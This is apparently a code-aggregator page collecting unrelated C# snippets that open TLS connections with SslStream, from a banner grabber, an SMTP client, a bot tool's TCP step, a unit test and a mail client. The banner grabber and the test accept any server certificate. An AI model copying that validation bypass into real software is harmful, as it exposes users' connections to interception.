                    ResponseLogDelegate?.Invoke(DateTime.Now, this, Request, Response);
                }
                catch (Exception e2)
                {
                    e2.Log(nameof(HTTPClient) + "." + nameof(ResponseLogDelegate));
                }

                #endregion


                return(Response);
            }, TaskCreationOptions.AttachedToParent);

            return(await task);
        }
Пример #50
0
			public void IntermediateClientTest() {
				try {
					testName = "IntermediateClientTest";
					client = new TcpClient("localhost", 9000);
					sslStream = new SslStream(client.GetStream(), false);
					sslStream.AuthenticateAsClient("localhost", null, null, SslProtocols.Tls, SslStrength.Medium | SslStrength.High, false);
					if (sslStream.SslProtocol != SslProtocols.Tls) {
						Console.WriteLine("{0} failed - negotiated a non Tls connection", testName);
						Shutdown(false);
						return;
					}
					if (sslStream.CipherStrength < 256) {
						Console.WriteLine("{0} failed - negotiated less that 256bit cipher", testName);
						Console.WriteLine("Cipher={0}\nCipherStrength = {1}", sslStream.CipherAlgorithm.ToString(), sslStream.CipherStrength);
						Shutdown(false);
						return;
					}
					if (sslStream.CipherAlgorithm != CipherAlgorithmType.Aes256) {
						Console.WriteLine("{0} failed - negotiatied cipher wasn't Aes256", testName);
						Console.WriteLine("Cipher was {0}, expected {0}", sslStream.CipherAlgorithm.ToString(), CipherAlgorithmType.Aes256.ToString());
						Shutdown(false);
						return;
					}
					if (DoClientReadWrite()) {
						Shutdown(true);
					}
					else {
						Shutdown(false);
					}
				}
				catch (Exception ex) {
					Shutdown(false);
					Console.WriteLine(ex);
				}
			}
Пример #51
0
        private string GrabSslBanner(ServiceProbe serviceProbe, IPAddress ipAddress, ushort port)
        {
            var sendString = Regex.Unescape(serviceProbe.Probe);
            var bytes      = Encoding.ASCII.GetBytes(sendString);

            try
            {
                if (serviceProbe.ProtocolType == Layer4ProtocolType.TCP)
                {
                    using (var client = new TcpClient())
                    {
                        client.ReceiveTimeout = 5000;

                        var endPoint = new IPEndPoint(ipAddress, port);
                        client.Connect(endPoint);

                        var networkStream = new SslStream(client.GetStream(), false, (w, x, y, z) => true);
                        networkStream.AuthenticateAsClient(ipAddress.ToString());

                        if (bytes.Length > 0)
                        {
                            networkStream.Write(bytes, 0, bytes.Length);
                        }

                        var receivedBytes = new byte[client.ReceiveBufferSize];
                        var bytesRead     = 0;

                        try
                        {
                            bytesRead = networkStream.Read(receivedBytes, 0, client.ReceiveBufferSize);
                        }
                        catch (Exception)
                        {
                        }

                        var certificateDescription = this.ExtractCertificateInfo(networkStream);

                        var results = new List <string>();
                        results.Add(Encoding.ASCII.GetString(receivedBytes));
                        results.Add(certificateDescription);

                        var result = string.Join("\r\n\r\n###############\r\n\r\n", results);

                        return(result);
                    }
                }
                else if (serviceProbe.ProtocolType == Layer4ProtocolType.UDP)
                {
                    using (var client = new UdpClient())
                    {
                        client.Client.SendTimeout    = 5000;
                        client.Client.ReceiveTimeout = 5000;

                        var endPoint = new IPEndPoint(ipAddress, port);

                        client.Connect(endPoint);
                        client.Send(bytes, bytes.Length);

                        var receivedBytes = client.Receive(ref endPoint);
                        var result        = Encoding.ASCII.GetString(receivedBytes);
                        return(result);
                    }
                }
            }
            catch (Exception)
            {
                return(string.Empty);
            }

            throw new NotImplementedException($"Unknown protocol '{serviceProbe.ProtocolType}'");
        }
Пример #52
0
		private void InitiateSecureConnection () {
			SmtpResponse response = SendCommand ("STARTTLS");

			if (IsError (response)) {
				throw new SmtpException (SmtpStatusCode.GeneralFailure, "Server does not support secure connections.");
			}

#if TARGET_JVM
			((NetworkStream) stream).ChangeToSSLSocket ();
#elif SECURITY_DEP
			SslStream sslStream = new SslStream (stream, false, callback, null);
			CheckCancellation ();
			sslStream.AuthenticateAsClient (Host, this.ClientCertificates, SslProtocols.Default, false);
			stream = sslStream;

#else
			throw new SystemException ("You are using an incomplete System.dll build");
#endif
		}
Пример #53
0
        /// <inheritdoc />
        public override void Process(BotData data)
        {
            // Get easy handles
            var tcp = data.TCPClient;
            var net = data.NETStream;
            var ssl = data.SSLStream;

            byte[] buffer   = new byte[2048];
            int    bytes    = -1;
            string response = "";

            switch (TCPCommand)
            {
            case TCPCommand.Connect:
                // Replace the Host and Port
                var h = ReplaceValues(host, data);
                var p = int.Parse(ReplaceValues(port, data));

                // Initialize the TCP client, connect to the host and get the SSL stream
                tcp = new TcpClient();
                tcp.Connect(h, p);

                if (tcp.Connected)
                {
                    net = tcp.GetStream();
                    if (UseSSL)
                    {
                        ssl = new SslStream(net);
                        ssl.AuthenticateAsClient(h);
                    }

                    //Wait a bit and read the Stream if not Empty
                    System.Threading.Thread.Sleep(200);
                    if (net.DataAvailable)
                    {
                        if (UseSSL)
                        {
                            bytes = ssl.Read(buffer, 0, buffer.Length);
                        }
                        else
                        {
                            bytes = net.Read(buffer, 0, buffer.Length);
                        }

                        // Save the response as ASCII in the SOURCE variable
                        response = Encoding.ASCII.GetString(buffer, 0, bytes);
                    }

                    // Save the TCP client and the streams
                    data.TCPClient = tcp;
                    data.NETStream = net;
                    data.SSLStream = ssl;
                    data.TCPSSL    = UseSSL;

                    data.Log(new LogEntry($"Succesfully connected to host {h} on port {p}. The server says:", Colors.Green));
                    data.Log(new LogEntry(response, Colors.GreenYellow));
                }

                if (VariableName != "")
                {
                    data.Variables.Set(new CVar(VariableName, response, IsCapture));
                    data.Log(new LogEntry($"Saved Response in variable {VariableName}", Colors.White));
                }
                break;

            case TCPCommand.Disconnect:
                if (tcp == null)
                {
                    throw new Exception("Make a connection first!");
                }

                tcp.Close();
                tcp = null;
                if (net != null)
                {
                    net.Close();
                }
                if (ssl != null)
                {
                    ssl.Close();
                }
                data.Log(new LogEntry($"Succesfully closed the stream", Colors.GreenYellow));
                break;

            case TCPCommand.Send:
                if (tcp == null)
                {
                    throw new Exception("Make a connection first!");
                }

                var msg = ReplaceValues(Message, data);
                var b   = Encoding.ASCII.GetBytes(msg.Replace(@"\r\n", "\r\n"));
                data.Log(new LogEntry("> " + msg, Colors.White));

                if (data.TCPSSL)
                {
                    ssl.Write(b);
                    bytes = ssl.Read(buffer, 0, buffer.Length);
                }
                else
                {
                    net.Write(b, 0, b.Length);
                    bytes = net.Read(buffer, 0, buffer.Length);
                }

                // Save the response as ASCII in the SOURCE variable and log it
                response = Encoding.ASCII.GetString(buffer, 0, bytes);
                data.Log(new LogEntry("> " + response, Colors.GreenYellow));

                if (VariableName != "")
                {
                    data.Variables.Set(new CVar(VariableName, response, IsCapture));
                    data.Log(new LogEntry($"Saved Response in variable {VariableName}.", Colors.White));
                }
                break;
            }
        }
Пример #54
0
        public void ClientDefaultEncryption_ServerNoEncryption_NoConnect()
        {
            using (var serverNoEncryption = new DummyTcpServer(
                new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.NoEncryption))
            using (var client = new TcpClient())
            {
                client.Connect(serverNoEncryption.RemoteEndPoint);

                using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null))
                {
                    Assert.Throws<IOException>(() =>
                    {
                        sslStream.AuthenticateAsClient("localhost", null, TestConfiguration.DefaultSslProtocols, false);
                    });
                }
            }
        }
Пример #55
0
 public void Connect()
 {
     if (Client == null)
             Client = new TcpClient();
         if (!Client.Connected)
             Client.Connect(Host, Port);
         if (IsSecure)
         {
             SslStream secureStream = new SslStream(Client.GetStream());
             secureStream.AuthenticateAsClient(Host);
             ClientStream = secureStream;
             secureStream = null;
         }
         else
             ClientStream = Client.GetStream();
         Writer = new StreamWriter(ClientStream);
         Reader = new StreamReader(ClientStream);
         ReadLine();
         Login();
 }